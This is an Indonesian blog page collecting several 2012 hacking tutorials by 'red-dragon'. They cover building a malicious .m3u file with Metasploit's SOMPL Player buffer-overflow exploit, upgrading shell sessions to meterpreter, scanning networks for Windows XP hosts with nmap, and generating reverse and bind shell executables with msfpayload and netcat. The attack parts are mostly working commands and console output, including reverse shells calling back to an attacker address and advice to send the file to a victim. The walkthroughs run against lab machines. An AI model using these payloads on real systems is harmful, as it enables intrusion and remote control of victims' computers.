Tampilkan postingan dengan label exploitation. Tampilkan semua postingan
Tampilkan postingan dengan label exploitation. Tampilkan semua postingan

Minggu, 17 Juni 2012

Metasploit VS SOMPL Player

Setelah sekian lama tidak kembali dalam dunia peretasan system, kali ini saya mencoba kembali menguji system keamanan yang dimiliki oleh SOMPL player yang saya jalankan pada Windows XP SP2 (Unpatched version).

Vulnerability ini saya dapatkan dari Exploit-DB. Kemudian di modifikasi oleh metasploit sehingga attacker dapat menggunakan payload yang beragam. Untuk mengujinya, pertama saya mendownload MP3 Player ini dari Softpedia. Kemudian menjalankan MP3 player ini di Windows XP SP2 English Version.

Tutorial Requirements:
1. metasploit 
2. SOMPL Player
3. Windows XP SP2
4. vmware


Conditions:
1. Attacker IP : 10.10.1.1
2. Target IP : 10.10.1.128




Jika semua persiapan sudah siap, maka anda bisa memulai tutorial ini.


Walkthrough:

1. Buat malicious file


Pada konsol metasploit, kita dapat mencari exploit, payload, nops, auxiliary, encoder, dan post yang kita inginkan. Perintah ini dapat dieksekusi dengan


Command :
       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 884 exploits - 482 auxiliary - 145 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
       =[ svn r15464 updated today (2012.06.17)

msf > search


Contoh, jika kita hendak mencari encoder shikata_ga_nai, maka kita masukan perintah:

Note: Tulisan yang dicetak merah, adalah output. Yang dicetak biru adalah input.


Command :
       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 884 exploits - 482 auxiliary - 145 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
       =[ svn r15464 updated today (2012.06.17)

msf > search shikata_ga_nai Matching Modules
================
Name                          Rank       Description
----                          ---------  -----------
encoder/x86/shikata_ga_nai    excellent  Polymorphic XOR Additive Feedback Encoder



Untuk mencari exploit yang akan kita gunakan, maka kita masukan perintah


Command :
       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 884 exploits - 482 auxiliary - 145 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
       =[ svn r15464 updated today (2012.06.17)

msf > search sompl
Matching Modules
================

   Name                                        Disclosure Date  Rank   Description
   ----                                        ---------------  ----   -----------
   exploit/windows/fileformat/somplplayer_m3u  2010-01-22       great  S.O.M.P.L 1.0 Player Buffer Overflow


Kemudian kita gunakan exploit ini untuk membuat malicious file, yang kemudian akan dikirimkan ke target.


Command :
       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 884 exploits - 482 auxiliary - 145 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
       =[ svn r15464 updated today (2012.06.17)

msf > use exploit/windows/fileformat/somplplayer_m3u
msf  exploit(somplplayer_m3u) >


Kemudian kita atur file ini dengan opsi yang disediakan.


1. PAYLOAD : Menentukan payload yang akan digunakan oleh attacker.
2. FILENAME : Nama malicious file yang akan dibuat


Note : Jika anda menggunakan PAYLOAD reverse, maka anda akan menggunakan opsi berikut:
1. LHOST : IP Attacker
2. LPORT : Attacker's port listener


Note : Jika anda menggunakan PAYLOAD bind, maka anda akan menggunakan opsi berikut:
1. RHOST: IP Target
2. LPORT : Target's port listener


Anda juga bisa menggunakan encoder dalam membuat file ini:
1. ENCODER

Atur setiap opsi dengan perintah


Command :
       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 884 exploits - 482 auxiliary - 145 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
       =[ svn r15464 updated today (2012.06.17)

msf exploit(somplplayer_m3u) > set [OPTION] [VALUE]

Contoh, kali ini saya menggunakan


1. PAYLOAD: windows/meterpreter/reverse_tcp
2. FILENAME : red-dragon.m3u
3. LHOST : 10.10.1.1
4. LPORT: 4444


Command :
       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 884 exploits - 482 auxiliary - 145 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
       =[ svn r15464 updated today (2012.06.17)
  msf  exploit(somplplayer_m3u) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(somplplayer_m3u) > set FILENAME red-dragon.m3u
FILENAME => red-dragon.m3u
msf  exploit(somplplayer_m3u) > set LHOST 10.10.1.1
LHOST => 10.10.1.1
msf  exploit(somplplayer_m3u) > set LPORT 4444
LPORT => 4444
msf  exploit(somplplayer_m3u) >



Kemudian kita buat file dengan mengeksekusi perintah


Command :
       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 884 exploits - 482 auxiliary - 145 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
       =[ svn r15464 updated today (2012.06.17)
  msf  exploit(somplplayer_m3u) > exploit

[*] Creating 'red-dragon.m3u' file ...
[+] red-dragon.m3u stored at /root/.msf4/local/red-dragon.m3u




File kita telah di simpan di /root/.msf4/local/red-draon.m3u. File ini yang akan membuka akses attacker untuk mendapat sesi meterpreter.




2. Setup Exploit Multi Handler


Setelah file terbuat, maka langkah selanjutnya adalah mengatur exploit multi hander, dan menjalankan listener pada koneksi meterpreter yang terpicu. Untuk menggunakan multi hanlder, kita dapat menggunakan perintah


Command :
       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 884 exploits - 482 auxiliary - 145 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
       =[ svn r15464 updated today (2012.06.17)
  msf > use exploit/multi/handlermsf  exploit(handler) >

Kemudian kita atur opsi yang ada, SAMA seperti yang telah kita atur pada langkah pertama.


Command :
       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 884 exploits - 482 auxiliary - 145 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
       =[ svn r15464 updated today (2012.06.17)
  msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST 10.10.1.1
LHOST => 10.10.1.1
msf  exploit(handler) > set LPORT 4444
LPORT => 4444
msf  exploit(handler) >





Setelah semua telah diatur, kita jalankan exploit ini dengan perintah


Command :
       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 884 exploits - 482 auxiliary - 145 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
       =[ svn r15464 updated today (2012.06.17)
  msf  exploit(handler) > exploit[*] Started reverse handler on 10.10.1.1:4444
[*] Starting the payload handler...




TIDAK akan ada sesi meterpreter yang muncul jika payload kita belum terpicu, untuk itu, kita kirimkan file ini kepada korban, dan menunggu sampai korban membuka file ini dengan SOMPL player.



3. RED-DRAGON is OWNING!


Setelah korban menjalankan file ini dengan SOMPL player, maka SOMPL player akan mengalami buffer overflow, dimana program menjadi tidak stabil dan tidak merespon perintah.




Dan kita mendapat sesi meterpreter pada konsol metasploit kita..


Command :
       =[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 884 exploits - 482 auxiliary - 145 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
       =[ svn r15464 updated today (2012.06.17)
  msf  exploit(handler) > exploit

[*] Started reverse handler on 10.10.1.1:4444
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 10.10.1.128
[*] Meterpreter session 1 opened (10.10.1.1:4444 -> 10.10.1.128:1059) at 2012-06-18 11:35:10 +0700

meterpreter >







You are so....
0wn3d by red-dragon

Kamis, 07 Juni 2012

[Metasploit] Upgrade Shell to Meterpreter

Meterpreter mungkin adalah bagian yang paling didambakan bagi para exploiter. Tidak hanya memiliki modul yang lengkap untuk memudahkan aksi eksploitasi, namun juga memiliki jalur koneksi yang secure sehingga nyaris tidak meninggalkan jejak paket dalam sebuah koneksi. Beberapa kasus yang sering ditemukan adalah, ketika exploiter menemukan sebuah kondisi dimana besar buffer tidak cukup untuk membuat system tereksploit sehingga shell code meterpreter tidak dapat di-inject kedalam paket. Pilihan terakhir yang diambil adalah dengan menggunakan payload shell yang memiliki ikuran buffer yang lebih kecil.


Dengan payload ini, attacker dapat membuka sesi shell. Sayang sekali jika kita tidak dapat membuat sesi meterpreter. Namun tenang dulu, kita masih bisa melakukan upgrade sesi kita menjadi sesi meterpreter.


Dalam kasus ini, saya menggunakan exploit/multi/handler dengan payload windows/shell_reverse_tcp, IP address saya 10.10.1.1 dan melakukan listening pada port 4444.


Sesaat kemudian, shell sesi pertama terbuka.


Bagaimana cara membuat sesi ini menjadi meterpreter?

Cukup masukan perintah berikut

Command :
msf  exploit(handler) > sessions -u 2 -q

Maka akan muncul seperti ini.

Command :
msf  exploit(handler) > sessions -u 2 -q[*] Started reverse handler on 10.10.1.1:4444
[*] Starting the payload handler...
[*] Command Stager progress - 1.66% done (1699/102108 bytes)
...
<snip>
...
[*] Sending stage (752128 bytes) to 10.10.1.128
[*] Command Stager progress - 100.00% done (102108/102108 bytes)
msf exploit(handler) > [*] Meterpreter session 3 opened (10.10.1.1:4444 -> 10.10.1.128:1048) at 2012-06-08 10:56:08 +0700



Kemudian cek ID sesi meterpreter dengan perintah

Command :
msf  exploit(handler) > sessions -l -v

Terlihat bahwa ID sesi meterpreter adalah 3. Selanjutnya kita akses meterpreter dengan perintah.

Command :
msf  exploit(handler) > sessions -i 3 [*] Starting interaction with 3...

meterpreter >


You are so.....
Pwned by : red-dragon


Selasa, 20 Maret 2012

Hunting Windows XP with NMAP

Kalian yang gemar melakukan exploitasi system, mungkin mengincar system operasi windows XP. Ada beberapa tools yang bisa digunakan untuk melakukan information gathering guna memburu system operasi ini. Diantaranya yang terkenal adalah:

  1. Angry IP Scanner
  2. NMAP

Masalahnya adalah, anda tidak bisa mendeteksi OS yang digunakan oleh sebuah host jika anda menggunakan Angry IP Scanner. Karena Angry IP scanner hanya dapat mendeteksi NET BIOS pada port 445 dan 135, serta mendeteksi port 80 protokol milik HTTP.

Kita telah mengetahui bahwa NMAP mampu melakukan scanning secara detil dan cepat. Dan parameter yang bisa digunakan untuk melakukan scanning OS adalah parameter -O.

Command :
root@dark-slayer:~# nmap -O <ip address>

Ternyata parameter ini memiliki kelemahan dalam mendeteksi OS, mengapa? Karena hasilnya tidak akurat, dan memakan waktu yang cukup lama. Bagaimana cara mengatasi hal ini?

Pertama, anda harus mengetahui, bahwa mendeteksi OS dapat dilakukan melalui pemindaian pada port 445. Maka perintah NMAP adalah:
Command :
root@dark-slayer:~# nmap -p 445 10.20.0.1-255


Perintah ini akan menampilkan sederet informasi mengenai status port 445 pada setiap host dalam sebuah localhost. Langkah kedua adalah menemukan port 445 yang terbuka.

Kita telah menemukan beberapa host yang membuka port 445 nya. Diantaranya adalah:

10.20.0.103

10.20.0.192

10.20.0.193

Kemudian kita scan host ini satu per satu dengan perintah:

Command :
root@dark-slayer:~#  nmap -p 445 -sV -Pn -v <ip address>

Kita mulai dari:

Command :
root@dark-slayer:~#  nmap -p 445 -sV -Pn -v 10.20.0.103


Jika tidak muncul versi di sebelah kolom service. Maka sudah dapat dipastikan ini bukan windows XP. Terbukti cara ini mempersingkat waktu pemindaian, hanya memakan waktu 6 detik. Jika muncul versi di sebelah kolom service, misalkan Microsoft Windows XP, sudah dapat dipastikan bahwa host menggunakan Operasi System Windows XP.

created by : red-dragon

Rabu, 18 Januari 2012

Perbedaan Reverse TCP dan Bind TCP

Pengguna metasploit untuk tingkat pemula, mungkin pernah bertanya-tanya. Apa perbedaan payload reverse_tcp dengan payload bind_tcp? Sederhananya, reverse adalah perintah dari attacker kepada korban, untuk menghubungi korban. Sementara bind tcp adalah perintah dari attacker kepada korban, untuk membuka akses kepada attacker. Ilustrasinya seperti ini

[reverse_tcp]
attacker -> [hubungi saya di port 4444] -> victim

setelah payload dieksekusi
attacker <-> [port 4444] <-> victim

[bind_tcp]
attacker -> [buka jalan untuk saya di port 4444] -> victim

setelah dieksekusi
attacker <-> [port 4444] <-> victim

Untuk membuktikannya, saya akan mengadakan percobaan mengenai payload. Anda bisa mencoba sendiri di rumah.

Tools requirements:
[*] msfpayload dapat ditemukan di backtrack 5
[*] netcat dapat ditemukan di backtrack 5
[*] vmware player
[*] windows XP SP 2

System requirements:
[*] VMware menggunakan koneksi NAT
[*] IP address attacker vmnet8 10.10.10.1
[*] IP address victim vmnet8 10.10.10.128
[*] Windows XP di dalam vmware telah terinstall vmware tools

Walk-through:
1. Buat PAYLOAD windows/shell_reverse_tcp

Buka terminal, kemudian masukan perintah:

Command:
root@revolution:~# msfpayload windows/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 X > /tmp/reverse.exe



Keterangan:
[*] saya akan membuat payload windows/shell_reverse_tcp
[*] ip address saya 10.10.10.1
[*] port listener saya tentukan di 4444
[*] payload ini saya simpan di folder /tmp dengan nama reverse.exe

Buka folder /tmp, kemudian copy file reverse.exe, kemudian paste di windows XP. Kembali ke terminal, kemudian masukan perintah:

Command:
root@revolution:~# nc -l -v -p 4444

Keterangan:
[*] saya menggunakan netcat sebagai handler terhadap koneksi yang masuk
[*] menentukan netcat sebagai listener (-l)
[*] menentukan netcat untuk mengaktifkan verbose mode (-v)
[*] menentukan netcat untuk melakukan listening pada port 4444 (-p 4444)

Kemudian jalankan file reverse.exe yang ada di windows xp.

Maka ini yang akan terjadi:
Command:
root@revolution:~# nc -l -v -p 4444listening on [any] 4444 ...10.10.10.128: inverse host lookup failed: Unknown server error : Connection timed outconnect to [10.10.10.1] from (UNKNOWN) [10.10.10.128] 1062Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\User\Desktop>



FAQ [Frequently Asked Questions]
[Q] Apa fungsi payload yang kita buat?
[A] Payload yang kita buat, memiliki perintah dari attacker kepada victim untuk menghubungi attacker di port 4444

[Q] Mengapa kita mendapatkan command prompt milik victim?
[A] Itu karena payload yang kita buat adalah shell_reverse_tcp, ini berfungsi agar netcat mengeksekusi shell aka command prompt (pada windows) setelah konesi di port 4444 terjadi

[Q] Bisakah saya menentukan di port yang berbeda selain 4444?
[A] Bisa, dengan syarat port tersebut sedang tidak digunakan oleh proses lain, misalkan port 80 yang biasa digunakan oleh Apache, atau 22 yang biasa digunakan oleh OpenBSD untuk SSH connection.


2. Buat payload windows/shell_bind_tcp

Buka terminal, kemudian masukan perintah:

Command:
root@revolution:~# msfpayload windows/shell_bind_tcp LPORT=4444 X > /tmp/bind.exe



Keterangan:
[*] Saya akan membuat payload windows/shell_bind_tcp
[*] Saya menentukan 4444 sebagai port listener agar attacker dapat masuk ke system milik victim
[*] Saya menyimpan payload di folder /tmp dengan nama bind.exe

Buka folder /tmp, kemudian copy bind.exe ke Windows XP. Jangan jalankan file ini terlebih dahulu!

Buka command prompt windows, kemudian ketik

Command:
C:\Documents and Settings\User> netstat -an | find "4444"



Keterangan:
[*] netstat adalah perintah command prompt untuk mengecek koneksi yang terjadi dalam sebuah system
[*] saya akan mengecek, apakah port 4444 terbuka

Terlihat bahwa port 4444 tidak terbuka. Setelah itu, jalankan file bind.exe. Kemudian masukan perintah netstat kembali pada command prompt:

Command:
C:\Documents and Settings\User> netstat -an | find "4444"



Terlihat bahwa sekarang muncul port 4444 yang melakukan listening terhadap koneksi. Kali ini kita akan menggunakan netcat untuk mendapatkan command prompt milik victim.

Command:
root@revolution:~# nc -v 10.10.10.128 4444

Maka ini yang akan terjadi:

Command:
root@revolution:~# nc -v 10.10.10.128 444410.10.10.128: inverse host lookup failed: Unknown server error : Connection timed out(UNKNOWN) [10.10.10.128] 4444 (?) openMicrosoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\User\Desktop>



Keterangan:
[*] Kali ini saya akan menghubungi IP address victim [10.10.10.128]
[*] Saya akan mencoba port 4444 untuk akses masuk

FAQ [Frequently Asked Question]
[Q] Apa yang terjadi?
[A] Payload kita telah membuat victim membuka port 4444 agar attacker dapat masuk ke system korban

Created by: red-dragon